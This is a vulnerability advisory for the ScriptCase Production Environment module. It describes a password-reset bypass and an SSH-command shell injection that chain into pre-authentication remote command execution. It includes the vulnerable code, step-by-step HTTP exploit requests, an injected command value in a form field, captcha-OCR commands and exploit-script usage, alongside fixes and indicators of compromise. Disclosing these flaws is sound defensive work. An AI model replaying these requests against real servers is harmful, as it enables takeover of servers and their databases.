ScriptCase - Pre-Authenticated Remote Command Execution

04/07/2025 - Téléchargement

Product

ScriptCase (Production Environment module)

Severity

Critical

Fixed Version(s)

N/A

Affected Version(s)

CVE Number

CVE-2025-47227, CVE-2025-47228

Authors

Alexandre Droullé

Alexandre Zanni

Description

Presentation

ScriptCase is a low-code platform that generates PHP web applications. Developers use a graphical interface to design and generate their website.

Production Environment is the name of an extension of ScriptCase that will be called prod console in the advisory for clarification purpose. It is an administrative field to manage database connections and directories.

While ScriptCase is not necessarily deployed with the website, the prod console mostly always is.

 

Issue(s)

Pre-authenticated remote command execution is achieved by chaining two vulnerabilities: the first is the ability to reset the administrator password of the prod console under certain conditions, and the second is a simple authenticated remote command execution in the connection features where user input is directly concatenated to a ssh system command.

Affected versions

Version 1.0.003-build-2 of the Production Environment module is affected. This version of the module is included in ScriptCase version 9.12.006 (23). Anterior versions are likely to be vulnerable as well.

Timeline

Date Description
2025.02.18 First message sent to the editor.
2025.03.12 Contact support via live tchat.
2025.03.20 Advisory report sent to the editor.
2025.03.28 First response from the editor.
2025.04.04 Editor asks to re-test the vulnerability on latest version.
2025.04.29 Synacktiv confirms the vulnerability still works on latest versions (see affected versions).
2025.05.15 Synacktiv contacts the editor for a status update on the progress of the vulnerability analysis.
2025.05.30 Synacktiv contacts the editor for a status update on the progress of the vulnerability analysis.
2025.06.05 Synacktiv sends the exploitation script to the editor.
2025.07.04 Public release

 

Technical details

CVE-2025-47227 - Administrator's password reset (authentication bypass)

Description

The authentication page of the prod console is prod/lib/php/devel/iface/login.php, which is only including one class.

<?php
include_once('../lib/php/base_ini.inc.php');
nm_load_class('page', 'PageProdLogin');
$obj_page = new nmPageProdLogin();
$obj_page->Display();
?>

In the nmPageProdLogin class, prod/lib/php/devel/class/page/nmPageProdLogin.class.php, a few legitimate actions are recognizable: login, change_language, change_pass that are handled by the doAjax() function.

The change password feature can be triggered with nm_action=change_pass, that will then call the changePass() function with the following arguments.

changePass($_POST['pass_new'],$_POST['pass_conf'],$_POST['lang'],$_POST['email'],$_POST['captcha'])

It is easily noticeable that only an email address and a new password is required, no old password.

Note: as the change_pass action has an email parameter, it is tempting to think there is probably an account takeover if an authenticated user can reset the password of another by providing its email address. But that is not really the case as the prod console has only one user.

But when checking the changePass() function, the first verification done is the application checking that the user session has the variable nm_session.prod_v8.login.is_page set, else no action is performed at all.

    function changePass($str_pass_new='',$str_pass_conf='',$str_lang='',$str_email='',$str_captcha=''){
        if(!$_SESSION['nm_session']['prod_v8']['login']['is_page']){
            $str_response  = "";
        }else{
            […]
        }
        return json_encode($str_response);

While the name is_page is not obviously telling what is used for, it seems to be similar to what could have been named is_authenticated. Because the only time this variable is initialized and set to true, is inside iniSession(). So in theory, it is possible to change the password only when authenticated. But, in practice, if one can trigger an action that is calling iniSession() implicitly, it would be possible to perform the password reset while being unauthenticated.

iniSession() is called only in one place, when the class is constructed.

    function __construct()
    {
        
        $this->doAjax();
        $this->SetBody('nmPage');
        $this->SetMargin(10);
        $this->SetPage('ProdLogin');
        $this->iniSession();
        $this->SetPageSubtitle('');
        
    }

But iniSession() is done after doAjax(), so the change_pass action is denied before the is_page is set to true. What could be done to bypass that, is loading the page twice. (doAjax() (denied) ➡️ iniSession() (set is_page to true) ➡️ doAjax() (allowed))

As seen earlier, the class is initialized in prod/lib/php/devel/iface/login.php. So the solution is to perform a simple HTTP GET on login.php before performing the change_pass action with an HTTP POST on the same page while having the same PHPSESSID.

Then the remaining steps are easy to pass: enter a valid captcha, setting a password that matches the password policy, set an email address (no need to know the administrator one).

Step 1: Set is_page to true with a fixed PHPSESSID value.

GET /scriptcase/prod/lib/php/devel/iface/login.php HTTP/1.1
Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive

Step 2: Get a captcha challenge for the session.

GET /scriptcase/prod/lib/php/devel/lib/php/secureimage.php HTTP/1.1
Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive

Step 3: Change the password with the prepared session.

POST /scriptcase/prod/lib/php/devel/iface/login.php HTTP/1.1
Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

ajax=nm&nm_action=change_pass&email=attacker@example.org&pass_new=Synacktiv6&pass_conf=Synacktiv6&lang=en-us&captcha=CKMW

It is then possible to authenticate with the newly set password.

Impact

An attacker can arbitrarily reset the password of the administrator of the prod console, and so take it over. With this access, the attacker could retrieve databases credentials and get access to them. As the prod console is also vulnerable, the attacker could also leverage it to gain access to the server.

Recommendation

Access to the password reset feature should be given only to authenticated users (change the condition in the changePass function). Also, it should be based only on the session cookie (the changePass function should not take an email argument from the user but extract it from the session).

While waiting for an official fix from the vendor, one should restrict the access to the ScriptCase Production Environment extension completely (e.g. on the reverse proxy virtual host). Blocking /prod/lib/php/devel/iface/login.php and /prod/lib/php/nm_ini_manager2.php should be enough to prevent any unwanted connection as well as the exploitation of the password reset vulnerability.

CVE-2025-47228 - Shell injection (remote command execution)

Description

Once authenticated, the prod console allows editing and creating database connections. A feature allows configuring SSH local port forwarding, so it is possible to connect to remote databases that are not exposed on a public network interface.

A POST parameter ($_POST['ajax']) is received in line 1982 of the file prod/lib/php/devel/class/page/nmPageAdminSysAllConectionsCreateWizard.class.php in the method nmPageAdminSysAllConectionsCreateWizard::Ajax(). Then, if the action list_db is performed and the option use_ssh is passed, SSH options are parsed.

  function Ajax()
  {
      if (isset($_POST['ajax']) && $_POST['ajax'] == 'S')
      {
          if (isset($_POST['list_db']) && $_POST['list_db'] == 'S')
          {
              […]
              if(isset($_POST['use_ssh']))
              {
                  $arr_ssh = array('use_ssh', 'ssh_server', 'ssh_user', 'ssh_port', 'ssh_privatecert', 'ssh_localportforwarding', 'ssh_localserver', 'ssh_localport');
                  foreach($arr_ssh as $_input)
                  {
                      $v_arr_db[ $_input ] = $this->unProtectAjaxChar((isset($_POST[ $_input ])?$_POST[ $_input ]:""));
                  }
              }
              […]
          }
          […]
      }
      […]
  }

Note: the unProtectAjaxChar() function is not a security feature.

function unProtectAjaxChar($str_field)
{
    $str_field = str_replace("__HASH__", "#", $str_field);
    $str_field = str_replace("__PLUS__", "+", $str_field);
    $str_field = str_replace("__MINUS__", "-", $str_field);
    $str_field = str_replace("__E__", "&", $str_field);
    return $str_field;
}

The user-supplied data is concatenated into an SSH command from line 1710 to 1719 of the file prod/lib/php/devel/class/page/nmPageAdminSysAllConectionsCreateWizard.class.php in the function GetListDatabaseNameMySql().

The user-supplied data is then used unsanitized in the sensitive operation shell_exec() in line 1721.

$str_comando = "ssh -fNg -L $localPort:$server:$port $sshUser@$sshHost";
if(!empty($sshPort))
{
    $str_comando .= " -p " . $sshPort;
}
if(!empty($cert))
{
    $cert = str_replace("\\", "/", $cert);
    $str_comando .= " -i \"$cert\"";
}
shell_exec($str_comando);

The page prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php instantiates the nmPageAdminSysAllConectionsCreateWizard class.

Rather than crafting the request manually, it is possible to remove the display: none style applied on the SSH tab (data-tab="tr_ssh"), fill the form and hit the Test Connection button.

When injecting the command ; touch ghijkl ;# in the ssh_localportforwarding field, the HTTP request is the following:

POST /scriptcase/prod/lib/php/devel/iface/admin_sys_allconections_test.php HTTP/1.1
Host: 10.58.11.213
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=synacktiv001
[…]

hid_create_connect=S&dbms=mysql&conn=conn_mysql&dbms=pdo_mysql&host=127.0.0.1%3A3306&server=127.0.0.1&port=3306&user=utilisateur&pass=mdp&show_table=Y&show_view=Y&show_system=Y&show_procedure=Y&decimal=.&use_persistent=N&use_schema=N&retrieve_schema=Y&retrieve_schema=Y&use_ssh=Y&ssh_server=127.0.0.1&ssh_user=root&ssh_port=22&ssh_localportforwarding=%3B+touch+ghijkl+%3B%23&ssh_localserver=127.0.0.1&ssh_localport=3306&form_create=a80579edad3f0333d9c2965b4672a05e&retornar=Back&concluir=Save&confirmar=Back&voltar=Confirm&step=sgdb2&nextstep=dados_rep

It is not necessary to enter valid data as it will be discarded by the injected comment.

The file ghijkl is successfully created on the server.

$ find ./ -name ghijkl
./wwwroot/scriptcase/prod/lib/php/devel/iface/ghijkl

It is possible to perform this command injection request with the cookie from earlier without connecting, as this session is already in the right state.

Impact

An authenticated user on prod console can execute arbitrary system commands as the web server (www-data).

Recommendation

Several options are possible. The least safe one would be to shell escape the user input before injecting it into the command. A better approach would be to stop generating a system command with shell_exec, but to rather use a secure library like phpseclib to create the connection.

While waiting for an official fix from the vendor, one should restrict the access to the ScriptCase Production Environment extension completely (e.g. on the reverse proxy virtual host). In addition to the login routes, blocking /prod/lib/php/devel/iface/admin_sys_allconections_test.php and /prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php should be enough to prevent remote command execution.

Captcha solving automation

Description

Captcha

The password reset form is protected by a captcha. However, the CAPTCHA images generated by the web application are easy to analyse using Optical Character Recognition (OCR). Thus, allowing to automate the only manual step of the exploit.

The captcha always consists of 4 capital letters in white (exactly RGB(255,255,255) / #ffffff) or black (exactly RGB(0,0,0) / #000000) colour and a noisy background of random colours, but never white or black.

Raw Captcha
Raw Captcha
Cleaned Captcha prepared for OCR
Cleaned Captcha prepared for OCR

It eases the preparation of the image for OCR detection: keep only the letters, remove the background, enlarge the image and harmonize the colours.

Basic, non-specialized character recognition tools can then extract the characters from the captcha with variable reliability.

$ tesseract cleaned.png stdout --oem 1 -c tessedit_char_whitelist='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' -c load_system_dawg=false -c load_freq_dawg=false --psm 8 --dpi 300
NKUN

$ captcha ocrad --charset=ascii --filter=letters_only -l cleaned.png
NKUW

$ captcha gocr -i cleaned.png -c 'A-Z'
NKU_

The use of an artificial intelligence model specialized in the recognition of non-text characters would provide almost 100% reliability. The training cost would be worth it for cybercriminals that want to launch large scale attacks, but for a one-use demonstration exploit script, classical OCR and manual fallback is enough.

Impact

For mass exploitation, a cybercriminal can automate the captcha solving that is supposed to prevent automatic submission.

Exploitation script

Description

An exploitation script was written to handle several scenarios:

  • Perform the pre-authentication remote command execution by chaining the two vulnerabilities (password reset and authenticated command execution)
  • Only perform the password reset
  • Only perform authenticated command execution
  • Detect the deployment path
Usage: 
  Examples:
  
  Pre-Auth RCE (password reset + RCE)
    python exploit.py -u http://example.org/scriptcase -c "command"
  Password reset only (no auth)
    python exploit.py -u http://example.org/scriptcase
  RCE only (need account)
    python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
  Detect deployment path
    python exploit.py -u http://example.org/ -d
  

Options:
  -h, --help            show this help message and exit
  -u BASE_URL, --base-url=BASE_URL
  -c COMMAND, --command=COMMAND
  -p PASSWORD, --password=PASSWORD
  -d, --detect  

For the password reset, captcha solving is required. To try to automate the captcha resolution, the function process_image() will perform OCR with pytesseract and prepare the image by cleaning it before launching the OCR analysis. As the OCR is not reliable, in case of failure it will fall back to manual solving by displaying the captcha and prompting the user for a solution.

For the remote command execution, it is not necessary to register a new connection (by calling admin_sys_allconections_create_wizard.php). Instead, it is possible to only test the connection (admin_sys_allconections_test.php) without saving it to be stealthier. The command is always executed even if the connection fails and the server answers an error.

In real life, the root of the web server hosts the application while the prod console is hosted on a sub-folder. Most of the time, the ScriptCase interface, which is used only for development, will not be deployed and deployed on another machine. It is possible to automate the deployment path detection to locate the prod console login page by analysing the JavaScript on the home page. The default sub-folder /scriptcase/ seems to be rarely used in real life. Instead, /_lib/ seems to be often used, but sometimes it can also be nested into another sub-folder level. To avoid guessing or fuzzing the deployment path, it is possible to obtain it deterministically by scraping the page and extracting the path from JavaScript. Indeed, as the website is made with ScriptCase, numerous scripts and stylesheets are loaded from the ScriptCase folder. One that is easy to extract and unique is: sc_pathToTB variable (example below).

<SCRIPT type="text/javascript">
    var sc_pathToTB = '/_lib/prod/third/jquery_plugin/thickbox/';
    var sc_tbLangClose = "Fermer";
    var sc_tbLangEsc = "ou touche Echap";
    var sc_userSweetAlertDisplayed = false;
</SCRIPT>

Once the deployment path (e.g. /_lib) is known and confirmed with prod console base folder (/_lib/prod/) then the login page of the prod console can be computed (/_lib/prod/lib/php/devel/iface/login.php).

In the scenario where the two vulnerabilities are chained, there is no need to authenticate with the new password after the password reset. The password reset sets the current session as authenticated, so the command injection can be performed with the same cookie.

Finally, one can notice that the application is vulnerable to session fixation: the session cookie is not renewed after authentication, the pre-authentication cookie is kept. So it is possible to generate a random PHPSESSID to use for the password reset session preparation or for the authentication in RCE only scenarios, without having to parse the server response for a new cookie.

The full exploitation script (Python) can be found on the associated GitHub repository.

Impact

System remote command execution without any prerequisites.

IOC

The application is not saving any log at runtime. The only log events will be the access_log and error_log of the embedded Apache httpd web server.

The URL paths that are used by the exploitation script are:

  • {url_base}/prod/lib/php/devel/iface/login.php to set the session and performing the password reset
  • {url_base}/prod/lib/php/devel/lib/php/secureimage.php to obtain a captcha challenge
  • {url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php for the shell injection
  • {url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php to get prerequisites for the shell injection
  • {url_base}/prod/lib/php/nm_ini_manager2.php to log in for the RCE-only exploit